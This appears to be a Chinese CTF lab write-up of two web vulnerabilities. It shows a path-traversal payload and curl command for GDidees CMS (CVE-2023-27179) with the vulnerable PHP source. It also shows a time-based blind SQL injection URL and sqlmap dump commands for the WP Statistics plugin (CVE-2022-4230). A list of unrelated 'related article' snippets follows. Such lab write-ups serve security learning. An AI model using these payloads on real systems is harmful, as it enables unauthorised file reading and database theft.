cqyjldfx
CVE-2023-27179
靶标介绍:
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。
提示有本地文件泄露,且位于 /_admin/imgdownload.php,参数是filename
所以可以构造: /_admin/imgdownload.php?filename=../../../../../flag
../可以遍历目录,最终查找flag
得到的是png文件,用笔记本编辑打开就可以得到flag
漏洞的根源在于对用户输入的 filename 参数处理不当。攻击者可以利用这一点,通过精心构造的 URL 来强制应用程序下载服务器上的任意文件。
但在其他师傅的复现是png文件下载后并不能够读取文件内容,用到curl工具
curl -l 命令可以自动重定向,并且获得最终结果,相当于读取页面的内容
可以构造: curl -l "http://eci-2ze9r318c46efrvteo4m.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../../flag"
同样可以得到flag
通过查找可以搜到漏洞产生的原理(查找的源代码):
<?php
$filename = $_GET['filename'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($filename));
header('Content-Transfer-Encoding: binary');
header('Expires: ');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
?>
定义了一个参数filename,传给函数readfile,但是对所传入的参数没有限制,形成本地文件包含漏洞
readfile() 函数读取一个文件,并写入到输出缓冲。
如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。
因此可以通过目录遍历对文件进行读取。
CVE-2022-4230
靶标介绍:
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
WP,即WordPress。WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
一上来在初始界面什么都没有,进行目录扫描
用dirseach可以扫出readme.html,由于返回状态码500的太多了,还是建议在扫描时加上状态码限制,-i 200
可以:dirseach -u http://eci-2zec8sasoqvoyti2yefx.cloudeci1.ichunqiu.com -i 200
-i 只显示该状态码
-x 不显示该状态码
得到扫描结果后就可以访问
全是英语,看不懂没关系,直接翻译一下
可以看到登录界面,login page,点击后进入登录界面
呃,数据库连接失败,看了其他师傅的,该页面确实是登录界面,可能是环境问题。
进行抓包分析
状态码返回500,服务器错误状态码,确实是环境问题,重新打开新环境
重新打开环境后来到了登录框界面,注意观察:返回到test,那么test是什么的,这里猜测是用户名,他的意思就是返回test这个用户
点击后回到了初始界面
那么使用test进行登录看看,经过测试后密码也是为test
成功登录到该用户
根据描述WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。
进行搜索
wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个_wpnonce
来进行认证。wpscan平台是专门针对wordpress的漏洞平台.
进行访问:
http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce
拿到我们的_wpnonce(随机数)
/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa
得到如下界面
进行SQL注入,从wpscan平台可以得知是时间盲注
构造:
http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
进行验证,在5秒钟之后才回显,存在SQL注入的时间盲注漏洞,用sqlmap跑
抓包,把get请求的内容复制到5.txt文件中
命令: sqlmap -r 5.txt --batch --dbs
可以看到扫出来了四个库,注重wordpress这个库
接着获取该数据库的表名
sqlmap -r 5.txt --batch -D wordpress --tables
可以看到flag这个表,爆表的字段
sqlmap -r 5.txt --batch -D wordpress -T flag --columns
字段flag,获取字段的内容
sqlmap -r 5.txt --batch -D wordpress -T flag -C flag --dump
相关文章:

cqyjldfx
CVE-2023-27179 靶标介绍: GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。 提示有本地文件泄露&a…...

大数据——HBase原理
摘要 HBase 是一个开源的、非关系型的分布式数据库系统,主要用于存储海量的结构化和半结构化数据。它是基于谷歌的 Bigtable 论文实现的,运行在 Hadoop 分布式文件系统(HDFS)之上,并且可以与 Hadoop 生态系统的其他组…...

《电视技术》是什么级别的期刊?是正规期刊吗?能评职称吗?
问题解答 问:《电视技术》是不是核心期刊? 答:不是,是知网收录的第一批认定学术期刊。 问:《电视技术》级别? 答:国家级。主管单位:中国电子科技集团公司 主办单位ÿ…...
网络编程 --------- 2、socket网络编程接口
1、什么是socket 套接字 socke套接字是一个编程的接口 (网络编程的接口)、是一种特殊的文件描述符 (read/write),不局限于TCP/IP 。socket是独立于具体协议的网络编程接口这个接口是位于 应用层和传输层之间 。 类型: (1)流式套接字 SOCK_ST…...
C# Deconstruct详解
总目录 前言 该文来源于探索弃元的使用,由弃元了解到元组,由元组又了解到解构方法Deconstruct。 另外本文中 解构和析构一个意思,不要在意! 一、Deconstruct是什么? 1. 关于元组 如果我们想了解Deconstruct 的使用&…...
Java 面试常见问题之——为什么重写equals时必须重写hashCode方法
Java 面试常见问题之——为什么重写equals时必须重写hashCode方法 当重写 equals 方法时,通常也应该重写 hashCode 方法,原因主要有以下几点: 一致性原则:根据 Java 的约定,如果两个对象通过 equals 方法比较返回 tr…...
后端给的树形结构 递归 改造成阶联选择器所需要的lable、value结构
赋值:this.newTreeData this.renameFields(this.treeData) 递归方法:renameFields (tree) {return tree.map(node > {// 创建一个新对象来存放修改后的字段名const newNode {value: node.id,label: node.title,// 如果有子节点,则递归处理…...

文献阅读:基于拓扑结构模型构建ICI收益诊断模型
介绍 Custom scoring based on ecological topology of gut microbiota associated with cancer immunotherapy outcome是来自法国Gustave Roussy Cancer Campus的Laurence Zitvogel实验室最近发表在cell的关于使用肠道微生物拓扑结构预测免疫治疗疗效的文章。 该研究提供基于…...

Python文献调研(四)QtDesigner的布局
一、新建项目: 1.打开pycharm,新建一个Python项目 (1)右键项目列表区,找到我们之前配置好的外部工具,点击Pyside6 QtDesigner 打开Qt Designer后会是这个界面: (2)此时…...

CentOS Linux release 7.9.2009 中sudo命令未找到
先在 Windows 环境中下载 sudo 的安装包 下载安装包:https://www.sudo.ws/releases/stable/ 然后把安装包拷贝的 Centos 中,cd 进入安装包所在的目录执行下面的命令: 格式:rpm -Uhv xxxxx.rpm rpm -Uhv sudo-logsrvd-1.9.15-6.…...

生产计划问题的不同最优化工具软件求解
一、优化求解软件简介 众所周知,常用的优化工具软件有Lingo、Mathcad和MATLAB。 1. LINGO是Linear Interactive and General Optimizer的缩写,即“交互式的线性和通用优化求解器”,由美国LINDO系统公司(Lindo System Inc.&…...

Java关键字及保留字总结
文章目录 Java关键字及保留字总结(按首字母字母顺序所排列)1.abstract2.boolean3.break4.byte5.case6.catch7.char8.class9.continue10.default11.do12.double13.else14.enum15.extends16.final17.finally18.float19.for20.if21.implements22.import23.i…...

【PGCCC】PostgreSQL 14 小版本分析,有那个版本不建议使用#PG中级
以下是对 PostgreSQL 14 各个小版本的详细分析,包括每个版本的主要变化、修复的 bug 和潜在的问题: PostgreSQL 14.0 发布日期:2021 年 9 月 30 日 主要变化: 增加了并行查询的改进,提升了性能。增强了 JSON 数据类…...
B树在数据库中的应用:理论与实践
B树在数据库中的应用:理论与实践 B树(B-tree)是一种自平衡的树数据结构,广泛应用于数据库系统中,特别是用于实现索引和文件系统中的关键字查找。B树的设计目标是保持数据有序并允许高效的查找、插入和删除操作。本文将…...
网络编程 -------- 3、TCP_UDP_UNIX
1、基于TCP的套接字编程流程 Server.c socket bind (服务器的ip端口) listen accept recv / send close Client.c socket connect (服务器的ip端口) …...

口袋奇兵:游戏辅助教程!陆军搭配阵容推荐,平民必备!
《口袋奇兵》是一款策略类手游,玩家需要在游戏中组建和指挥自己的军队,进行各种战斗和任务。为了在游戏中取得更好的成绩,合理搭配英雄和使用辅助工具是非常重要的。本攻略将为大家介绍一种强力的陆军搭配阵容,以及如何利用VMOS云…...
Spring Boot 集成参数效验 Validator
为什么需要参数效验? 在业务开发中,为了防止非法参数对业务造成影响,所以需要对用户输入的正确性、数据完整性、安全性、业务规则的执行做效验,靠代码对接口参数做if判断的话就太繁琐了,代码冗余且可读性差(主要是不够优雅)。 Validator效验框架遵循了JSR-303验证规范…...

63、ELK安装和部署
一、ELK日志系统 1.1、ELK平台的定义 ELK平台是一套完整的日志集中处理解决方案,将ElasticSearch、Logstash和Kiabana 三个开源工具配合使用,完成更强大的用户对日志的查询、排序、统计需求 E:elasticsearch ES分布式索引型非关系数据库,存…...

【Dash】简单的直方图
一、Visualizing Data The Plotly graphing library has more than 50 chart types to choose from. In this example, we will make use of the histogram chart. # Import packages from dash import Dash, html, dash_table, dcc import pandas as pd import plotly.expre…...

【CTF-Crypto】格密码基础(例题较多,非常适合入门!)
格密码相关 文章目录 格密码相关格密码基本概念(属于后量子密码)基础的格运算(行列式运算)SVP(shortest Vector Problem)最短向量问题CVP(Closet Vector Problem)最近向量问题 做题要…...

华为云AI开发平台ModelArts
华为云ModelArts:重塑AI开发流程的“智能引擎”与“创新加速器”! 在人工智能浪潮席卷全球的2025年,企业拥抱AI的意愿空前高涨,但技术门槛高、流程复杂、资源投入巨大的现实,却让许多创新构想止步于实验室。数据科学家…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案
问题描述:iview使用table 中type: "index",分页之后 ,索引还是从1开始,试过绑定后台返回数据的id, 这种方法可行,就是后台返回数据的每个页面id都不完全是按照从1开始的升序,因此百度了下,找到了…...

Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
C++ 基础特性深度解析
目录 引言 一、命名空间(namespace) C 中的命名空间 与 C 语言的对比 二、缺省参数 C 中的缺省参数 与 C 语言的对比 三、引用(reference) C 中的引用 与 C 语言的对比 四、inline(内联函数…...
【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】
1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件(System Property Definition File),用于声明和管理 Bluetooth 模块相…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...

STM32HAL库USART源代码解析及应用
STM32HAL库USART源代码解析 前言STM32CubeIDE配置串口USART和UART的选择使用模式参数设置GPIO配置DMA配置中断配置硬件流控制使能生成代码解析和使用方法串口初始化__UART_HandleTypeDef结构体浅析HAL库代码实际使用方法使用轮询方式发送使用轮询方式接收使用中断方式发送使用中…...
MFE(微前端) Module Federation:Webpack.config.js文件中每个属性的含义解释
以Module Federation 插件详为例,Webpack.config.js它可能的配置和含义如下: 前言 Module Federation 的Webpack.config.js核心配置包括: name filename(定义应用标识) remotes(引用远程模块࿰…...
小木的算法日记-多叉树的递归/层序遍历
🌲 从二叉树到森林:一文彻底搞懂多叉树遍历的艺术 🚀 引言 你好,未来的算法大神! 在数据结构的世界里,“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的,它…...